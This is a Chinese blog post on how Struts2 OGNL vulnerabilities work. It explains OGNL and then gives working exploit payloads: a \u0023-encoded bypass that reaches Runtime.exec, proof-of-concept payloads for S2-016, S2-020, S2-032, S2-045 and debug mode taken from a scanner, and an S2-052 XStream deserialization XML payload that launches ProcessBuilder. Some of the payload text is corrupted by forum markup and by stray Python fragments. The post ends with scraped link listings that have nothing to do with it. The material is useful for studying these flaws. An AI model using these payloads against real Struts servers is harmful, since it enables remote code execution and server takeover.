struts2漏洞原理
一、struts2简介:
目前web框架中非常流行的都是mvc设计模式、经典例子例如:python的Django、Flask;java的ssm等。因为使用MVC设计模式,所以在框架内部处理用户数据流参数的事后就不可避免的存在数据在不同层次流转的问题。struts2作为java的一款成熟的web框架,自然也面临这个问题,于是struts2世纪了一套OGNL的模式来操作。
二、OGNL(表达式引擎,处理view层数据都字符串到controller层转换成java对象的问题)的简单介绍:
参考他人博客https://www.cnblogs.com/wsygoogol/p/6955725.html(鸣谢)
对于用户输入的参数存取处理api都在ognl.java中,分别由getvalue和setvalue两个函数实现
public static Object getValue(String expression,Map context,Object root) throws OgnlException{
return getValue((String)expression,(Map)context,root,(Class)null);
}
public static void setValue(String expression,Map context,Object root,Object value) throws OgnlException{
return setValue((Object)parseExpression(expression),(Map)content,root,value);
}
三要素:
1、expression是带有语法语义的字符串,他定义了ognl要怎么处理一个对象。
2、root 被操作对象,就是ognl利用expression定义好的操作对root进行处理。访问root属性事后使用.调用:例如department.leader.name。getvalue和setvalue的对象(本质是一个java对象)。
3、content上下文环境对象,root所处的上下文环境。在这里定义为OgnlContext对象,root是其中一个特殊变量。访问使用#开始.区分,例如#root.department.leader.name(本质是一个Map结构)。
特殊的,ognl对静态属性和方法的访问,使用@classname@functiononame/varitename,举例:@core.example.core.Recourse@img/@core.example.core.Recourse@get()
三、OGNL支持构造对象(直接表达式创建):
1、构造list {} 中间用,分开元素的方式表达式列表
2、map 使用#{}构造,都好隔开key:value
3、java class的构造函数创建
四、在OGNL实现过程中的安全保护机制:
上文提到过,content在OGNL.java中定义在了计算时才动态创建的OgnlContext对象里面,并传入Map类型的content对root和一些默认行为。在一连串的过程中,struts默认配置一些安全保障机制,可惜是可以被绕过的。
//SecurityMemberAccess类中两个参数限制
denyMethodExecution = true;//禁止执行静态方法
MemberAccess = false;//禁止静态方法访问
五、漏洞利用:
1、对#的过滤可以使用\u0023 Unicode编码代替(早期的修补方案没有考虑到编码的问题,只是简单做了过滤)
#_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
上面绕过了两个安全机制参数的限制(修改了安全机制参数的值) \u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)
后面接的就是代码执行构造的命令执行:
&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
/*
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
*/
六、参看巡风的多个PoCs的Payload:
因为对于Java的复杂代码暂时没有分析能力,所以呢,有些poc里面的东西不能完整的理解其实现的每一步,先Mark下,后面再具体来看吧。
/*
"S2_016": {"poc": [
"redirect:${%23out%3D%23\u0063\u006f\u006e\u0074\u0065\u0078\u0074.\u0067\u0065\u0074(new \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{99,111,109,46,111,112,101,110,115,121,109,112,104,111,110,121,46,120,119,111,114,107,50,46,100,105,115,112,97,116,99,104,101,114,46,72,116,116,112,83,101,114,118,108,101,116,82,101,115,112,111,110,115,101})).\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072(),%23\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{46,46,81,116,101,115,116,81,46,46})),%23\u0072\u0065\u0064\u0069\u0072\u0065\u0063\u0074,%23\u006f\u0075\u0074\u002e\u0063\u006c\u006f\u0073\u0065()}"],
"key": "QtestQ"},
"S2_020": {
"poc": ["class[%27classLoader%27][%27jarPath%27]=1024", "class[%27classLoader%27][%27resources%27]=1024"],
"key": "No result defined for action"},
"S2_DEBUG": {"poc": [
"debug=command&expression=%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticM%27%2b%27ethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23o%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23o.println(%27[%27%2b%27ok%27%2b%27]%27),%23o.close()"],
"key": "[ok]"},
"S2_017_URL": {"poc": ["redirect:http://360.cn/", "redirectAction:http://360.cn/%23"],
"key": "http://www.360.cn/favicon.ico"},
"S2_032": {"poc": [
"method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(66666666-2),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse"],
"key": "66666664"},
"S2_045": {"poc": [
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'xunfeng'+']')).(#o.close())}"],
"key": "[xunfeng]"} """s2-052的,这是一个XML反序列化的与之前的不同
当启用 Struts REST的XStream handler去反序列化处理XML请求,可能造成远程代码执行漏洞,进而直接导致服务器被入侵控制。
post_data = """<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>nslookup</string><string>%s</string><string>%s</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>""" %
"""
*/
struts2漏洞原理的更多相关文章
- struts2漏洞原理及解决办法
1.原理 Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介 ...
- struts2漏洞原理及解决的方法
1.原理 Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的參数,它将每一个http參数声明为一个ONGL(这里是ONGL ...
- Struts2漏洞利用实例
Struts2漏洞利用实例 如果存在struts2漏洞的站,administrator权限,但是无法加管理组,内网,shell访问500. 1.struts2 漏洞原理:struts2是一个框架,他在 ...
- Struts2漏洞利用原理及OGNL机制
Struts2漏洞利用原理及OGNL机制研究 概述 在MVC开发框架中,数据会在MVC各个模块中进行流转.而这种流转,也就会面临一些困境,就是由于数据在不同MVC层次中表现出不同的形式和状态而造成 ...
- Struts2 漏洞系列之S2-001分析
0x00 前言 最近在学习java的相关漏洞,所以Struts2的漏洞自然是绕不开的.为了更好的理解漏洞原理,计划把Struts2所有的漏洞自己都做一个复现.并且自己去实现相关的POC.相关的环境 ...
- struts2漏洞复现分析合集
struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...
- Struts2工作原理
Struts2工作原理 Struts2请求响应流程: 在struts2的应用中,从用户请求到服务器返回相应响应给用户端的过程中,包含了许多组件如:Controller.ActionProxy.Acti ...
- 打印机PCL漏洞原理分析
0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...
- 漂亮回答面试官struts2的原理
众所周知,Struts2是个非常优秀的开源框架,我们能用Struts2框架进行开发,同时能快速搭建好一个Struts2框架,但我们是否能把Struts2框架的工作原理用语言表达清楚,你表达的原理不需要 ...
随机推荐
- jQuery Form插件详解
<script src="js/jquery.form.js" type="text/javascript"></script> Jqu ...
- 关于Cocos2d-x中字体的使用
1.如果使用的是系统自带的 static Label* createWithSystemFont ( const std::string & text, const std::s ...
- (转)I 帧和 IDR 帧的区别
I 帧和 IDR 帧的区别:http://blog.csdn.net/skygray/article/details/6223358 IDR 帧属于 I 帧.解码器收到 IDR frame 时,将所 ...
- c++ define的用法(转)
#define是C语言中提供的宏定义命令,其主要目的是为程序员在编程时提供一定的方便,并能在一定程度上提高程序的运行效率,但学生在学习时往往不能 理解该命令的本质,总是在此处产生一些困惑,在编程时误用 ...
- hbase集群部分节点HRegionServer启动后自动关闭的问题
参考链接 http://f.dataguru.cn/thread-209058-1-1.html 我有4HRegionServer节点,1个master,其中3个是unbuntu 系统,2个节点是ce ...
- 【Mysql】修改最大连接数
http://www.111cn.net/database/mysql/51934.htm
- 笔记本怎么设置WIfi热点
随着手机的发展,流量的消耗也是大大地增加.虽然很多手机支持wifi,但是不加密或者知道密码的wifi热点却寥寥无几.笔记本的无线网卡显出神通了.那么,如何在笔记本上建立wifi热点呢? 工具/原料 一 ...
- Unity利用UI的Mask实现对精灵Sprite的遮挡
例如剔除掉船超出河流的一部分,实现让船只在河流之上显示. 其实是利用UI层的Mask实现遮罩,有些不同的是Mask的图片是用Camera渲染到RenderTexture动态产生的纹理实现的.大概步骤如 ...
- C#委托和事件详解
委托Delegate delegate是C#中的一种类型,它实际上是一个能够持有对某个方法的引用的类.与其它的类不同,delegate类能够拥有一个签名(signature),并且它"只能持 ...
- meta标签整理
meta指元素可提供有关页面的元信息(meta-information),比如针对搜索引擎和更新频度的描述和关键词.标签位于文档的头部,不包含任何内容. 标签的属性定义了与文档相关联的名称/值对. 一 ...